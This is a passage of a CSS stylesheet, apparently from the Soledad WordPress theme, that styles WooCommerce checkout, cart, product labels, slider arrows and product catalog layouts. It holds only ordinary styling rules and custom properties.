.woocommerce form.checkout table.shop_table th,
.woocommerce form.checkout table.shop_table td {
	padding: 15px 30px;
}
.woocommerce form.checkout table.shop_table .amount {
	font-size: 16px;
}
.woocommerce form.checkout table.shop_table .order-total .amount {
	color: var(--pcaccent-cl);
}
.woocommerce-checkout #payment {
	background: none;
	border-radius: 0;
	-webkit-border-radius: 0;
	-moz-border-radius: 0;
}
.woocommerce-checkout #payment ul.payment_methods {
	padding: 30px;
	border: 1px solid var(--pcborder-cl);
}
.woocommerce-checkout #payment ul.payment_methods li {
	list-style: none !important;
}
.woocommerce-checkout #payment div.form-row.place-order {
	padding: 0;
	margin-top: 30px;
	margin-bottom: 0;
}
.woocommerce-checkout #payment div.payment_box {
	background: none;
	color: #888;
	padding: 0;
}
.woocommerce-checkout #payment div.payment_box:before {
	content: none;
	display: none;
}
.woocommerce #payment #place_order,
.woocommerce-page #payment #place_order {
	float: left;
}
.woocommerce form.lost_reset_password .form-row input[type="submit"],
.woocommerce form.register .form-row input[type="submit"] {
	margin-top: 20px;
}
section.related.products {
	clear: both;
}
@media only screen and (min-width: 961px) and (max-width: 1169px) {
	.woocommerce ul.products li.product h3,
	.woocommerce ul.products li.product .price ins,
	.woocommerce ul.products li.product .price,
	.woocommerce ul.cart_list li .amount,
	.woocommerce ul.product_list_widget li .amount {
		font-size: 16px;
	}
	.woocommerce div.product .product_title {
		font-size: 24px;
	}
}
@media only screen and (max-width: 960px) {
	.woocommerce div.product .product_title {
		font-size: 24px;
	}
}
@media only screen and (min-width: 768px) and (max-width: 960px) {
	.woocommerce ul.products.columns-5 li.product,
	.woocommerce-page ul.products.columns-5 li.product,
	.woocommerce ul.products.columns-4 li.product,
	.woocommerce-page ul.products.columns-4 li.product {
		width: 30.769%;
		margin-right: 3.8465%;
	}
	.woocommerce ul.products li.first, .woocommerce-page ul.products li.first,
	.woocommerce ul.products.columns-4 > li.product:nth-child( 4n+1 ),
	.woocommerce-page ul.products.columns-4 > li.product:nth-child( 4n+1 ) {
		clear: none;
	}
	.woocommerce ul.products.columns-5 > li.product:nth-child( 3n+1 ),
	.woocommerce-page ul.products.columns-5 > li.product:nth-child( 3n+1 ),
	.woocommerce ul.products.columns-4 > li.product:nth-child( 3n+1 ),
	.woocommerce-page ul.products.columns-4 > li.product:nth-child( 3n+1 ) {
		clear: both;
	}
	.woocommerce ul.products.columns-5 > li.product:nth-child( 4n+4 ),
	.woocommerce-page ul.products.columns-5 > li.product:nth-child( 4n+4 ),
	.woocommerce ul.products.columns-4 > li.product:nth-child( 4n+4 ),
	.woocommerce-page ul.products.columns-4 > li.product:nth-child( 4n+4 ) {
		margin-right: 3.8465%;
	}
	.woocommerce ul.products.columns-5 > li.product:nth-child( 3n+3 ),
	.woocommerce-page ul.products.columns-5 > li.product:nth-child( 3n+3 ),
	.woocommerce ul.products.columns-4 > li.product:nth-child( 3n+3 ),
	.woocommerce-page ul.products.columns-4 > li.product:nth-child( 3n+3 ) {
		margin-right: 0;
	}
}
@media only screen and (max-width: 767px) {
	.woocommerce .penci_sidebar #content div.product div.images,
	.woocommerce .penci_sidebar div.product div.images,
	.woocommerce-page .penci_sidebar #content div.product div.images,
	.woocommerce-page .penci_sidebar div.product div.images,
	.woocommerce .penci_sidebar #content div.product div.summary,
	.woocommerce .penci_sidebar div.product div.summary,
	.woocommerce-page .penci_sidebar #content div.product div.summary,
	.woocommerce-page .penci_sidebar div.product div.summary,
	.woocommerce #content div.product div.images,
	.woocommerce div.product div.images,
	.woocommerce-page #content div.product div.images,
	.woocommerce-page div.product div.images,
	.woocommerce #content div.product div.summary,
	.woocommerce div.product div.summary,
	.woocommerce-page #content div.product div.summary,
	.woocommerce-page div.product div.summary {
		width: 100% !important;
		float: none;
	}
	.woocommerce div.product .woocommerce-tabs ul.tabs li {
		display: block;
		margin-bottom: 10px;
	}
	.woocommerce ul.products li.product,
	.woocommerce-page ul.products li.product,
	.woocommerce ul.products.columns-4 li.product,
	.woocommerce-page ul.products.columns-4 li.product,
	.woocommerce .penci_sidebar ul.products.columns-4 li.product,
	.woocommerce-page .penci_sidebar ul.products.columns-4 li.product {
		width: 48%;
		margin-right: 4%;
	}
	.woocommerce .penci_sidebar ul.products.columns-4 > li.product:nth-child( 3n+1 ),
	.woocommerce-page .penci_sidebar ul.products.columns-4 > li.product:nth-child( 3n+1 ) {
		clear: none;
	}
	.woocommerce .penci_sidebar ul.products.columns-4 > li.product:nth-child( 3n+3 ),
	.woocommerce-page .penci_sidebar ul.products.columns-4 > li.product:nth-child( 3n+3 ) {
		margin-right: 4%;
	}
	.woocommerce ul.products li.product:nth-child(2n+2),
	.woocommerce-page ul.products li.product:nth-child(2n+2),
	.woocommerce ul.products.columns-4 li.product:nth-child(2n+2),
	.woocommerce-page ul.products.columns-4 li.product:nth-child(2n+2),
	.woocommerce .penci_sidebar ul.products.columns-4 > li.product:nth-child( 2n+2 ),
	.woocommerce-page .penci_sidebar ul.products.columns-4 > li.product:nth-child( 2n+2 ) {
		margin-right: 0;
	}
	.woocommerce ul.products li.product:nth-child(2n+1),
	.woocommerce-page ul.products li.product:nth-child(2n+1),
	.woocommerce ul.products.columns-4 li.product:nth-child(2n+1),
	.woocommerce-page ul.products.columns-4 li.product:nth-child(2n+1),
	.woocommerce .penci_sidebar ul.products.columns-4 > li.product:nth-child( 2n+1 ),
	.woocommerce-page .penci_sidebar ul.products.columns-4 > li.product:nth-child( 2n+1 ) {
		clear: both;
	}
	.woocommerce ul.products li.product h3,
	.woocommerce ul.products li.product .price ins,
	.woocommerce ul.products li.product .price,
	.woocommerce ul.cart_list li .amount,
	.woocommerce ul.product_list_widget li .amount,
	.woocommerce table.shop_table td.product-price span,
	.woocommerce table.shop_table td.product-subtotal span,
	.woocommerce-cart .cart-collaterals .cart_totals table td .amount {
		font-size: 16px;
	}
	.woocommerce table.cart td.actions .button,
	.woocommerce table.cart td.actions input,
	.woocommerce-page table.cart td.actions .button,
	.woocommerce-page table.cart td.actions input {
		width: auto;
	}
	.woocommerce #reviews #comments ol.commentlist li img.avatar {
		display: none;
	}
	.woocommerce #reviews #comments ol.commentlist li .comment-text {
		margin-left: 0;
	}
}
@media only screen and (max-width: 479px) {
	.woocommerce ul.products li.product,
	.woocommerce-page ul.products li.product,
	.woocommerce .penci_sidebar ul.products li.product,
	.woocommerce-page .penci_sidebar ul.products li.product {
		width: 100% !important;
		margin-right: 0 !important;
	}
	.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-author,
	.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-email,
	.woocommerce div.product .woocommerce-tabs .panel #respond p.comment-form-url {
		max-width: 300px;
	}
	.woocommerce table.shop_table th {
		font-size: 12px;
	}
	.woocommerce table.shop_table .quantity .qty {
		width: 46px;
		font-size: 14px;
	}
	.woocommerce-cart table.cart td.actions .coupon .input-text {
		width: 48%;
		margin-right: 0;
		margin-bottom: 20px;
	}
	.woocommerce table.shop_table a.remove {
		width: 20px;
		height: 20px;
		line-height: 18px;
		font-size: 20px;
	}
	.woocommerce table.shop_table td.product-name a {
		font-size: 14px;
		padding-left: 5px;
	}
}
/*************************************
 * Reset
 ************************************/
body {
	--pc-woo-quick-view-width: 960px;
	--pccat_tt_cl: var(--pctext-cl);
	--pccat_price_cl: var(--pcaccent-cl);
	--pccat_cat_cl: var(--pcmeta-cl);
	--pccat_cat_hv_cl: var(--pctext-cl);
	--pccat_btn_groups_bgcl: #fff;
	--pccat_btn_cl: var(--pctext-cl);
	--pccat_progress_bg_cl: #dedede;
	--pccat_progress_active_bg_cl: var(--pcaccent-cl);
	--pccat_progress_height: 7px;
	--pcpage_gtext_cl: var(--pctext-cl);
	--pcpage_glink_cl: var(--pcaccent-cl);
	--pcpage_glink_hv_cl: var(--pcaccent-cl);
	--pcpage_gbdr_cl: var(--pcborder-cl);
	--pcpage_btns_bdr_cl: var(--pcborder-cl);
	--pcpage_btns_bdr_hv_cl: var(--pcaccent-cl);
	--pcpage_btns_bg_cl: var(--pcaccent-cl);
	--pcpage_btns_bg_hv_cl: var(--pcaccent-cl);
	--pcpage_btn_atc_bg_cl: #000;
	--pcpage_btn_atc_bg_hv_cl: var(--pctext-cl);
	--pcpage_meta_cl: var(--pcmeta-cl);
	--pcpage_meta_link_cl: var(--pcmeta-cl);
	--pcpage_meta_link_hv_cl: var(--pctext-cl);
	--pcpage_tab_tt_cl: var(--pcmeta-cl);
	--pcpage_tab_tt_active_cl: var(--pctext-cl);
	--pcwp_tt_cl: var(--pctext-cl);
	--pcwp_btn_bg_cl: var(--pcaccent-cl);
	--pcwp_btn_bg_hv_cl: var(--pcaccent-cl);
	--pcwp_btn_alt_bg_cl: var(--pcmeta-cl);
	--pcwp_btn_alt_bg_hv_cl: var(--pcaccent-cl);
	--pcwc_ckout_inner_bg: #f1f1f1;
	--pcsl_tt_fs: 15px;
	--pcsl_tt_m_fs: 15px;
	--pcsl_tt_l_fs: var(--pcsl_tt_fs);
	--pcsl_tt_l_m_fs: var(--pcsl_tt_m_fs);
	--pcsl_meta_fs: 14px;
	--pcsl_meta_m_fs: 14px;
	--pcsl_price_fs: 14px;
	--pcsl_price_m_fs: 14px;
	--pcsl_btn_icon_size: 18px;
	--pcs_fsp_single_tt: 30px;
	--pcs_fsp_single_m_tt: 22px;
	--pcs_fsp_price: 18px;
	--pcs_fsp_m_price: 18px;
	--pcs_fsp_breadcrumb: 13px;
	--pcs_fsp_m_breadcrumb: 13px;
	--pcs_fsp_general: 14px;
	--pcs_fsp_tab_tt: 14px;
	--pcs_fsp_tab_m_tt: 14px;
	--pcs_fsp_meta: 14px;
	--pcs_fsp_m_meta: 14px;
	--pchd_mn_font: var(--pchead-font);
	--pchd_mn_font_w: var(--pchead-wei);
	--pclabel_hot: #fb1919;
	--pclabel_new: #8dd620;
	--pclabel_sale: var(--pcaccent-cl);
	--pclabel_outstock: maroon;
	--transition-delay: 0.04s;
	--pcsl_tt_lb_size: 12px;
	--pcsl_tt_lb_m_size: 12px;
	--pcl_o_bg: black;
	--pcl_o_opacity: 0.5;
	--pcl_o_tt_cl: #fff;
	--pcl_o_l_cl: #bfbfbf;
	--pcl_o_lhv_cl: #fff;
	--pcl_o_btn_cl: #fff;
	--pcsl_tt_btn4_size: 15px;
	--pcsl_tt_btn4_m_size: 12px;
	--pcsl_tt_btn3_size: 12px;
	--pcsl_tt_btn3_m_size: 12px;
	--pcsl_tt_btn5_size: 12px;
	--pcsl_tt_btn5_m_size: 12px;
	--pcl_3_atc_bg_cl: var(--pcaccent-cl);
	--pcl_3_atc_bg_hv_cl: var(--pcaccent-cl);
	--pcl_3_atc_txt_cl: #fff;
	--pcl_3_atc_txt_hv_cl: #fff;
	--pcl_btn_group_bg_color: #fff;
	--pcl_btn_group_bg_hv_color: #fff;
	--pcl_btn_group_txt_color: var(--pcheading-cl);
	--pcl_btn_group_txt_hv_color: var(--pcheading-cl);
	--pcl_5_btn_txt_cl: #fff;
	--pcl_5_btn_txt_hv_cl: var(--pcheading-cl);
	--pcl_5_btn_bd_cl: #fff;
	--pcl_5_btn_bd_hv_cl: #fff;
	--pcl_5_btn_bg_cl: transparent;
	--pcl_5_btn_bg_hv_cl: #fff;
	--pc-sidebar-w: 29.1%;
	--pcl_6_bg_cl: #fff;
	--pcl_6_tt_cl: var(--pcheading-cl);
	--pcl_6_txt_cl: var(--pctext-cl);
	--pcl_6_l_cl: var(--pcmeta-cl);
	--pcl_6_lhv_cl: var(--pcmeta-cl);
	--pcl_6_price_cl: var(--pccat_price_cl);
	--pcl_4_btn_txt_cl: white;
	--pcl_4_btn_txt_hv_cl: white;
	--pcl_4_btn_bg_cl: var(--pcaccent-cl);
	--pcl_4_btn_bg_hv_cl: var(--pcaccent-cl);
	--pcl_l_cat_fs: 14px;
	--pcl_l_cat_fs_m: 12px;
	--pcl_l_cat_tt_fs: 15px;
	--pcl_l_cat_tt_fs_m: 13px;
	--pc-w-mh: 275px;
	--pc-w-mhm: 275px;
	--pcl_l_cat_tt_cl: var(--pcheading-cl);
	--pcl_l_cat_cl: var(--pcmeta-cl);
	--pcl_l_cat_o_cl: rgba(255, 255, 255, 1);
	--pcl_l_cat_o_cl_rgba: linear-gradient(0deg, rgba(255, 255, 255, 1) 0%, rgba(255, 255, 255, 0.5) 50%, rgba(255, 255, 255, 0) 100%);
	--penci-scrollbar-track-bg: rgba(0, 0, 0, 0.05);
	--penci-scrollbar-thumb-bg: rgba(0, 0, 0, 0.12);
	--pc-sf-sum-w: 780px;
}
button, html input[type="button"], input[type="reset"], input[type="submit"] {
	cursor: pointer;
}
.text-center {
	text-align: center;
}

/*************************************
 * Slick Slider
 ************************************/
.slick-slider {
	position: relative;
}
.slick-slider .slick-arrow {
	position: absolute;
	top: 50%;
	bottom: 50%;
	z-index: 9;
	border: 0;
	font-size: 0;
	transition: 0.3s all ease-in-out;
	opacity: 0;
	background: transparent;
}
.slick-slider:hover .slick-arrow {
	opacity: 1;
}
.slick-slider .slick-arrow:before {
	content: "\f11a";
	font-family: 'penciicon';
	font-size: 20px;
}
.slick-slider .slick-arrow.slick-next {
	left: 0;
}
.slick-slider:hover .slick-arrow.slick-next {
	left: 15px;
}
.slick-slider .slick-arrow.slick-prev:before {
	content: "\f11b";
}
.slick-slider .slick-arrow.slick-prev {
	right: 0;
}
.slick-slider:hover .slick-arrow.slick-prev {
	right: 15px;
}
.slick-vertical .slick-slide {
	border: 0;
}
.slick-vertical .slick-slide > div {
	line-height: 0;
}
.slick-vertical .slick-slide figure {
	padding-top: 5px;
	padding-bottom: 5px;
}
/*************************************
 * Product Labels
 ************************************/
.woocommerce .product-labels {
	position: absolute;
	z-index: 2;
	top: 10px;
	right: 10px;
	left: auto;
	display: flex;
	flex-direction: column;
	flex-wrap: wrap;
	transition: all 0.3s cubic-bezier(.645, .045, .355, 1);
}
.woocommerce .product-labels .onsale {
	position: static;
	background-color: var(--pclabel_sale);
}
.woocommerce .product-labels .product-label,
.woocommerce .product-labels .new,
.woocommerce .product-labels .featured {
	line-height: 26px;
	min-width: 50px;
	height: 25px;
	min-height: 25px;
	padding: 0 10px;
}
.woocommerce .product-labels .featured {
	background-color: var(--pclabel_hot);
}
.woocommerce .product-labels .new {
	background-color: var(--pclabel_new);
}
.woocommerce .product-labels .out-of-stock {
	background-color: var(--pclabel_outstock);
}
.woocommerce .product-labels .product-label {
	font-family: var(--pchead-font);
	font-size: var(--pcsl_tt_lb_size);
	font-weight: var(--pchead-wei);
	position: static;
	text-align: center;
	text-transform: uppercase;
	color: #fff;
}
@media only screen and (max-width: 767px) {
	.woocommerce .product-labels .product-label {
		font-size: var(--pcsl_tt_lb_m_size);
	}
}
.woocommerce .product-labels .product-label + .product-label {
	margin-top: 5px;
}
.woocommerce .product-labels .product-label:last-child {
	margin-bottom: 0;
}
.woocommerce .product-labels.labels-round .product-label {
	display: inline-flex;
	align-items: center;
	justify-content: center;
	width: 50px;
	height: 50px;
	border-radius: 50%;
	line-height: 1.1;
}
.woocommerce .penci_sidebar ul.products.columns-4 .product-labels.labels-round .product-label {
	font-size: 11px;
	width: 35px;
	min-width: 35px;
	height: 35px;
}
.woocommerce .penci-single-product-top-container .product-labels {
	right: auto;
	left: 120px;
}
.woocommerce .penci-single-product-top-container .product-labels {
	right: auto;
	left: 10px;
}
.woocommerce .penci-content-quickview .product-labels {
	right: auto;
	left: 25px;
}
.woocommerce .thumbnail-left .penci-single-product-top-container .product-labels {
	left: 120px;
}
@media only screen and (max-width: 767px) {
	.woocommerce .penci-single-product-top-container .product-labels {
		top: 60px;
		right: 20px;
		left: auto;
	}
	.woocommerce .thumbnail-left .penci-single-product-top-container .product-labels {
		left: auto;
	}
}
/*************************************
 * WooCommerce Cart Form
 ************************************/
.woocommerce .price del,
.woocommerce ul.products li.product .price del {
	font-weight: normal;
	margin-right: 0;
	text-decoration: line-through;
}
.woocommerce-grouped-product-list.group_table {
	width: 100%;
	margin-bottom: 30px;
}
.woocommerce div.product form.cart table {
	border-top: 1px solid #ECECEC;
}
.woocommerce div.product form.cart .group_table tr {
	border-bottom: 1px solid #ECECEC;
}
.woocommerce div.product form.cart .group_table td {
	padding: 15px 0;
	vertical-align: middle;
}
.woocommerce div.product form.cart .group_table a {
	font-weight: bold;
	color: inherit;
}
.woocommerce div.product form.cart .group_table .woocommerce-grouped-product-list-item__label a {
	font-size: 16px;
}
.woocommerce div.product form.cart .woocommerce-grouped-product-list-item__price {
	font-size: 16px;
	text-align: right;
}
.woocommerce div.product form.cart bdi {
	font-weight: bold;
}
.woocommerce div.product form.cart ins {
	text-decoration: none;
}
.woocommerce div.product form.cart del bdi {
	font-weight: normal;
	opacity: .5;
}
.woocommerce #content div.product.penci-product-medium div.images,
.woocommerce div.product.penci-product-medium div.images,
.woocommerce-page #content div.product.penci-product-medium div.images,
.woocommerce-page div.product.penci-product-medium div.images {
	width: 55%;
}
.woocommerce #content div.product.penci-product-medium div.summary,
.woocommerce div.product.penci-product-medium div.summary,
.woocommerce-page #content div.product.penci-product-medium div.summary,
.woocommerce-page div.product.penci-product-medium div.summary {
	width: 40%;
}
.woocommerce #content div.product.penci-product-large div.images,
.woocommerce div.product.penci-product-large div.images,
.woocommerce-page #content div.product.penci-product-large div.images,
.woocommerce-page div.product.penci-product-large div.images {
	width: 62%;
}
.woocommerce #content div.product.penci-product-large div.summary,
.woocommerce div.product.penci-product-large div.summary,
.woocommerce-page #content div.product.penci-product-large div.summary,
.woocommerce-page div.product.penci-product-large div.summary {
	width: 35%;
}
.woocommerce #content div.product.penci-product-fullwidth-container div.images,
.woocommerce div.product.penci-product-fullwidth-container div.images,
.woocommerce-page #content div.product.penci-product-fullwidth-container div.images,
.woocommerce-page div.product.penci-product-fullwidth-container div.images {
	float: none;
	width: 100%;
}
.woocommerce #content div.product.penci-product-fullwidth-container div.summary,
.woocommerce div.product.penci-product-fullwidth-container div.summary,
.woocommerce-page #content div.product.penci-product-fullwidth-container div.summary,
.woocommerce-page div.product.penci-product-fullwidth-container div.summary {
	float: none;
	width: 100%;
}
.woocommerce #content div.product.penci-product-fullwidth .penci-single-product-top-container > .container,
.woocommerce div.product.penci-product-fullwidth .penci-single-product-top-container > .container,
.woocommerce-page #content div.product.penci-product-fullwidth .penci-single-product-top-container > .container,
.woocommerce-page div.product.penci-product-fullwidth .penci-single-product-top-container > .container {
	width: 100%;
	margin-right: 60px;
	margin-left: 60px;
}
@media only screen and (max-width: 767px) {
	.woocommerce #content div.product.penci-product-medium div.images,
	.woocommerce div.product.penci-product-medium div.images,
	.woocommerce-page #content div.product.penci-product-medium div.images,
	.woocommerce-page div.product.penci-product-medium div.images,
	.woocommerce #content div.product.penci-product-medium div.summary,
	.woocommerce div.product.penci-product-medium div.summary,
	.woocommerce-page #content div.product.penci-product-medium div.summary,
	.woocommerce-page div.product.penci-product-medium div.summary,
	.woocommerce #content div.product.penci-product-large div.images,
	.woocommerce div.product.penci-product-large div.images,
	.woocommerce-page #content div.product.penci-product-large div.images,
	.woocommerce-page div.product.penci-product-large div.images,
	.woocommerce #content div.product.penci-product-large div.summary,
	.woocommerce div.product.penci-product-large div.summary,
	.woocommerce-page #content div.product.penci-product-large div.summary,
	.woocommerce-page div.product.penci-product-large div.summary {
		width: 100%;
	}
}
.woocommerce .cart-collaterals + .cross-sells {
	width: 100%;
}
/*************************************
 * Product Catalog Style
 ************************************/
.products .penci-soledad-product .penci-product-loop-inner-content {
	position: relative;
}
.products .penci-soledad-product .star-rating {
	transition: all 0.3s ease-in-out;
}
.products .penci-soledad-product .penci-product-loop-top {
	position: relative;
}
.product-style-1 .penci-soledad-product .penci-product-loop-buttons {
	position: absolute;
	z-index: 2;
	right: 0;
	bottom: 10px;
	left: 0;
	visibility: hidden;
	/*padding: 10px;*/
	transition: opacity 0.3s ease, visibility 0.3s ease, transform 0.3s ease;
	-webkit-transform: translateY(-15px) translateZ(0);
	transform: translateY(-15px) translateZ(0);
	text-align: center;
	opacity: 0;
	-webkit-backface-visibility: hidden;
	backface-visibility: hidden;
}
.product-style-1 .penci-soledad-product.penci-hover .penci-product-loop-buttons,
.product-style-1 .penci-soledad-product:hover .penci-product-loop-buttons {
	visibility: visible;
	-webkit-transform: translateY(0) translateZ(0);
	transform: translateY(0) translateZ(0);
	opacity: 1;
}
.product-style-1 .penci-soledad-product .penci-product-loop-title {
	margin-top: 14px;
	text-align: center;
}
.product-style-1 .penci-soledad-product .penci-swatches-list {
	justify-content: center;
}
.products .penci-soledad-product .penci-product-loop-button {
	display: inline-flex;
	align-items: stretch;
	flex-direction: row;
	flex-wrap: nowrap;
	max-width: calc(100% - 20px);
	background-color: var(--pccat_btn_groups_bgcl);
	box-shadow: 1px 1px 1px rgba(0, 0, 0, 0.1);
}
.products.product-style-7 .penci-soledad-product .penci-product-loop-button {
	background-color: transparent;
}
.products .penci-soledad-product .penci-product-loop-button .button {
	color: var(--pccat_btn_cl);
}
.products .penci-soledad-product .penci-product-loop-button .button:hover {
	background-color: white;
}
.products .penci-soledad-product .penci-product-loop-button .loading:before {
	display: none;
}
.products .penci-soledad-product .penci-product-loop-button .button {
	position: relative;
}
.products .penci-product-loop-button .penci-tooltip:after,
.products .penci-product-loop-button .penci-tooltip {
	position: absolute;
	transition: all 0.3s ease;
	pointer-events: none;
	opacity: 0;
	-webkit-backface-visibility: hidden;
	backface-visibility: hidden;
}
.products .penci-product-loop-button > p {
	display: none; /* display button only */
}
.products .penci-product-loop-button .penci-tooltip {
	font-size: 12px;
	font-weight: normal;
	line-height: 1;
	z-index: 10;
	right: auto;
	bottom: calc(100% + 10px);
	left: auto;
	min-width: 110px;
	padding: 8px 5px;
	white-space: nowrap;
	letter-spacing: normal;
	text-transform: none;
	color: #ffffff;
	border-radius: 4px;
	background: rgba(17, 17, 17, .9);
}
.products .penci-product-loop-button .penci-tooltip:after {
	right: 50%;
	bottom: -5px;
	left: 50%;
	width: 0;
	height: 0;
	margin-left: -5px;
	content: '';
	border-width: 5px 5px 0 5px;
	border-style: solid;
	border-color: rgba(17, 17, 17, .9) transparent transparent transparent;
}
.penci-product-loop-button .button:hover .penci-tooltip,
.penci-product-loop-button .button:hover .penci-tooltip:after {
	pointer-events: auto;
	opacity: 1;
}
.penci-product-loop-button .yith-wcwl-add-to-wishlist {
	display: inline-flex;
	flex: 1 1 auto;
	width: 100vw;
	max-width: 45px;
	margin: 0;
}
.penci-product-loop-button .yith-wcwl-add-to-wishlist span {
	display: none;
}
.penci-product-loop-button .yith-wcwl-add-to-wishlist a {
	font-size: 0;
	line-height: 0;
	position: relative;
	display: inline-flex;
	align-items: center;
	flex-direction: column;
	justify-content: center;
	width: 45px;
	height: 45px;
	margin: 0;
}
.penci-product-loop-button .button {
	display: inline-flex;
	flex: 1 1 auto;
	width: 100vw;
	min-width: 0;
	max-width: 45px;
	height: 45px;
	padding: 0;
	letter-spacing: 0;
	background: transparent;
}
.products.icon-style-round.icon-align-vertical.penci-small-width .penci-product-loop-buttons .button,
.products.icon-style-round.icon-align-vertical.penci-small-width .penci-product-loop-button .yith-wcwl-add-to-wishlist,
.products.penci-small-width.icon-align-vertical .penci-product-loop-button .button {
	width: 30px;
	height: 30px;
	max-width: 30px;
	flex: 0 0 30px;
}
.products.icon-style-round.icon-align-vertical.penci-small-width .yith-wcwl-add-to-wishlist a {
	width: 30px;
	height: 30px;
}
.products.icon-style-round.icon-align-vertical.penci-small-width .penci-product-loop-buttons .button:before,
.products.penci-small-width.icon-align-vertical .penci-product-loop-button .button:before {
	font-size: 13px;
}
.products.icon-style-round.icon-align-vertical.penci-small-width .penci-product-loop-button > a.button.loading:after {
	margin-top: -6px;
}
.woocommerce .penci-product-loop-button a.button,
.penci-product-loop-button > a {
	font-size: 0;
	line-height: 0;
	position: relative;
	display: inline-flex;
	align-items: center;
	flex-direction: column;
	justify-content: center;
	width: 42px;
	min-width: unset; /* old-css rule*/
	height: 42px;
	margin: 0;
	padding: 0;
	color: var(--pccat_btn_cl);
	background-color: var(--pccat_btn_groups_bgcl);
}
.woocommerce .penci-product-loop-button a.button:hover,
.penci-product-loop-button > a:hover {
	opacity: 0.8;
	color: black;
}
.penci-product-loop-button > a:before {
	font-family: "penciicon", serif;
	font-size: 16px;
	font-weight: 400;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	animation: none;
}
.penci-product-loop-button .product_type_simple:before,
.penci-product-loop-button .product_type_variable:before,
.penci-product-loop-button .product_type_external:before,
.penci-product-loop-button .product_type_grouped:before,
.penci-product-loop-button .add_to_cart_button:before {
	content: "\f119";
}
.penci-product-loop-button .penci-quickview-button:before,
.penci-product-loop-button .yith-wcqv-button:before {
	content: "\f108";
}
.penci-product-loop-button .compare.button:before {
	content: "\f16b";
}
.penci-product-loop-button .penci-addtowishlist:before {
	content: "\f109";
}
.penci-product-loop-button .compare.button.added:before,
.penci-product-loop-button .penci-addtowishlist.added:before {
	content: "\f111";
}
.penci-product-loop-button .yith-wcwl-add-to-wishlist a:before {
	font-family: "penciicon", serif;
	font-size: 16px;
	font-weight: 400;
	content: "\f10b";
	color: black;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
}
.penci-product-loop-button .yith-wcwl-add-to-wishlist.exists a:before {
	content: "\f111";
}
.products.icon-style-round.icon-align-vertical.penci-small-width .penci-product-loop-button .yith-wcwl-add-to-wishlist a:before {
	font-size: 13px;
}
.penci-product-loop-button .blockUI {
	display: none !important;
}
.woocommerce-loop-product__title.penci-loop-title a,
.penci-product-loop-title h3 a {
	color: var(--pccat_tt_cl);
}
.penci-product-loop-image {
	position: relative;
	overflow: hidden;
}
.penci-product-loop-image > img {
	display: none;
}
.penci-product-loop-image .penci-image-loader {
	position: absolute;
	z-index: 1;
	top: 0;
	left: 0;
	right: 0;
	bottom: 0;
	display: flex;
	justify-content: center;
	align-items: center;
	visibility: hidden;
	background: rgba(255, 255, 255, 0.6);
}
.penci-soledad-product.loading-image .penci-image-loader {
	visibility: visible;
}
.penci-soledad-product.loading-image .penci-product-loop-image .penci-image-loader:before {
	z-index: 2;
	top: 14px;
	right: 50%;
	left: 50%;
	display: block;
	width: 30px;
	height: 30px;
	margin: 0;
	content: " ";
	animation: lds-dual-ring 0.35s linear infinite;
	vertical-align: middle;
	opacity: 1;
	border: 1px solid #888;
	border-left-color: #000;
	border-top-color: #000;
	border-radius: 50%;
}
.penci-product-loop-image a img {
	width: 100%;
	margin: 0;
}
.penci-product-loop-image .hover-img,
.penci-product-loop-image .variations-img {
	position: absolute;
	top: 0;
	right: 0;
	bottom: 0;
	left: 0;
	display: flex;
	align-items: center;
	justify-content: center;
	transition: opacity 0.45s ease, transform 2s cubic-bezier(0, 0, 0.4, 1.46);
	opacity: 0;
	background-color: var(--pcbg-cl);
}
.penci-product-loop-image .variations-img {
	transition: none;
	opacity: 1;
}
.penci-product-loop-image .hover-img a {
	display: block;
	flex: 1 1 100%;
	width: 100%;
	max-width: 100%;
}
.woocommerce ul.products li.product .penci-product-loop-title .star-rating {
	position: relative;
	top: 0;
	left: 0;
	right: 0;
	margin-bottom: 10px;
}
.woocommerce ul.products.product-style-7 li.product .penci-product-loop-title .star-rating {
	margin-top: 10px;
	margin-bottom: 0;
}
.woocommerce ul.products.product-style-1 li.product .penci-product-loop-title .star-rating,
.woocommerce ul.products.product-style-3 li.product .penci-product-loop-title .star-rating,
.woocommerce ul.products.product-style-5 li.product .penci-product-loop-title .star-rating,
.woocommerce ul.products.product-style-7 li.product .penci-product-loop-title .star-rating {
	margin-left: auto;
	margin-right: auto;
}
ul.product-style-7 .penci-soledad-product:hover .penci-product-loop-image .hover-img,
ul.product-style-7 .penci-soledad-product.penci-hover .penci-product-loop-image .hover-img,
.penci-product-loop-top:hover .penci-product-loop-image .hover-img {
	-webkit-transform: scale(1.095);
	transform: scale(1.095);
	opacity: 1;
}
.products.product-style-2 .penci-product-loop-title {
	position: static;
}
.products.product-style-2 .product-title-top {
	position: absolute;
	top: 15px;
	left: 15px;
	right: 15px;
	z-index: 9;
}
.products.product-style-2 .penci-soledad-product .product-title-bottom {
	position: absolute;
	bottom: 15px;
	left: 15px;
	right: 15px;
	z-index: 9;
	overflow: hidden;
	max-height: 25px;
	transition: all 0.3s ease-in-out;
}
.products.product-style-2 .quick-shop-shown .penci-soledad-product .product-title-bottom {
	visibility: hidden;
}
.products.product-style-2 li.product.sale .penci-soledad-product .product-title-bottom {
	max-height: 40px;
}
.products.product-style-2 li.product.sale .penci-soledad-product .product-title-bottom,
.products.product-style-2 .penci-soledad-product.penci-hover .product-title-bottom,
.products.product-style-2 .penci-soledad-product:hover .product-title-bottom {
	max-height: 100px;
}
.products.product-style-2 .woocommerce-loop-product__title {
	text-align: left;
}
.products.product-style-2 .penci-product-loop-title .star-rating {
	position: relative;
	top: 0;
	left: 0;
}
.products.product-style-2 .penci-stock-progress-bar {
	width: calc(100% - 20px);
	padding: 10px;
	transition: all 0.3s ease-in-out;
	background-color: var(--pcbg-cl);
}
.products.product-style-2 .penci-soledad-product.penci-hover .penci-stock-progress-bar,
.products.product-style-2 .penci-soledad-product:hover .penci-stock-progress-bar {
	opacity: 0;
}
.products.product-style-2 .price del,
.products.product-style-2 .price ins {
	display: block;
}
.products.product-list .penci-product-loop-buttons,
.products.product-style-2 .penci-product-loop-buttons {
	position: absolute;
	z-index: 999;
	right: 10px;
	bottom: 10px;
	transition: all 0.3s ease;
	-webkit-transform: translateX(-20px) translateZ(0);
	transform: translateX(-20px) translateZ(0);
	opacity: 0;
}
.products.product-list .penci-product-loop-buttons .penci-product-loop-button,
.products.product-style-2 .penci-product-loop-buttons .penci-product-loop-button {
	flex-direction: column;
	max-width: none;
